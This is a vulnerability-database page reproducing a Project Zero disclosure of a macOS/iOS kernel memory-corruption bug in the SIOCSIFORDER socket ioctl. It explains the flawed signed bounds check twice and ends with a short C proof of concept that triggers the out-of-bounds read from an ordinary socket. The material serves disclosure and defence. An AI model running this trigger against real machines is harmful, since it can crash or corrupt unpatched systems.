Lucene search
K

Apple macOS/iOS Kernel 10.12.3 (16D32) - SIOCSIFORDER Socket ioctl Memory Corruption Due to Bad Bounds Checking

🗓️ 04 Apr 2017 00:00:00Reported by Google Security ResearchType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 59 Views

Apple macOS/iOS Kernel 10.12.3 (16D32) - SIOCSIFORDER Socket ioctl Memory Corruption Due to Bad Bounds Checking. New ioctl SIOCSIFORDER allows memory corruption due to bad bounds checking that leads to out-of-bounds read of an interface pointer

Code
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1108

SIOCSIFORDER is a new ioctl added in iOS 10. It can be called on a regular tcp socket, so from pretty much any sandbox.

it falls through to calling:
  ifnet_reset_order(ordered_indices, ifo->ifo_count)
where ordered_indicies points to attacker-controlled bytes.

ifnet_reset_order contains this code:

  for (u_int32_t order_index = 0; order_index < count; order_index++) {
    u_int32_t interface_index = ordered_indices[order_index];  <---------------- (a)
    if (interface_index == IFSCOPE_NONE ||
        (int)interface_index > if_index) {           <-------------------------- (b)
      break;
    }
    ifp = ifindex2ifnet[interface_index];            <-------------------------- (c)
    if (ifp == NULL) {
      continue;
    }
    ifnet_lock_exclusive(ifp);
    TAILQ_INSERT_TAIL(&ifnet_ordered_head, ifp, if_ordered_link);    <---------- (d)
    ifnet_lock_done(ifp);
    if_ordered_count++;
  }

at (a) a controlled 32-bit value is read into an unsigned 32-bit variable.
at (b) this value is cast to a signed type for a bounds check
at (c) this value is used as an unsigned index

by providing a value with the most-significant bit set making it negative when cast to a signed type
we can pass the bounds check at (b) and lead to reading an interface pointer out-of-bounds
below the ifindex2ifnet array.

This leads very directly to memory corruption at (d) which will add the value read out of bounds to a list structure.

tested on MacOS 10.12.3 (16D32) on MacbookAir5,2

(on 64-bit platforms the array index wouldn't wrap around so the read would actually occur > 2GB above the array, not below)
*/

// ianbeer
#if 0
MacOS/iOS kernel memory corruption due to Bad bounds checking in SIOCSIFORDER socket ioctl

SIOCSIFORDER is a new ioctl added in iOS 10. It can be called on a regular tcp socket, so from pretty much any sandbox.

it falls through to calling:
  ifnet_reset_order(ordered_indices, ifo->ifo_count)
where ordered_indicies points to attacker-controlled bytes.

ifnet_reset_order contains this code:

  for (u_int32_t order_index = 0; order_index < count; order_index++) {
    u_int32_t interface_index = ordered_indices[order_index];  <---------------- (a)
    if (interface_index == IFSCOPE_NONE ||
        (int)interface_index > if_index) {           <-------------------------- (b)
      break;
    }
    ifp = ifindex2ifnet[interface_index];            <-------------------------- (c)
    if (ifp == NULL) {
      continue;
    }
    ifnet_lock_exclusive(ifp);
    TAILQ_INSERT_TAIL(&ifnet_ordered_head, ifp, if_ordered_link);    <---------- (d)
    ifnet_lock_done(ifp);
    if_ordered_count++;
  }

at (a) a controlled 32-bit value is read into an unsigned 32-bit variable.
at (b) this value is cast to a signed type for a bounds check
at (c) this value is used as an unsigned index

by providing a value with the most-significant bit set making it negative when cast to a signed type
we can pass the bounds check at (b) and lead to reading an interface pointer out-of-bounds
below the ifindex2ifnet array.

This leads very directly to memory corruption at (d) which will add the value read out of bounds to a list structure.

tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
#endif

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

#include <sys/ioctl.h>
#include <sys/socket.h>

#include <mach/mach.h>

struct if_order {
	u_int32_t			ifo_count;
	u_int32_t			ifo_reserved;
	mach_vm_address_t	ifo_ordered_indices; /* array of u_int32_t */
};

#define SIOCSIFORDER  _IOWR('i', 178, struct if_order)

int main() {
	uint32_t data[] = {0x80001234};

	struct if_order ifo;
  ifo.ifo_count = 1;
  ifo.ifo_reserved = 0;
  ifo.ifo_ordered_indices = (mach_vm_address_t)data;

  int fd = socket(PF_INET, SOCK_STREAM, 0);
  int ret = ioctl(fd, SIOCSIFORDER, &ifo);

  return 0;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation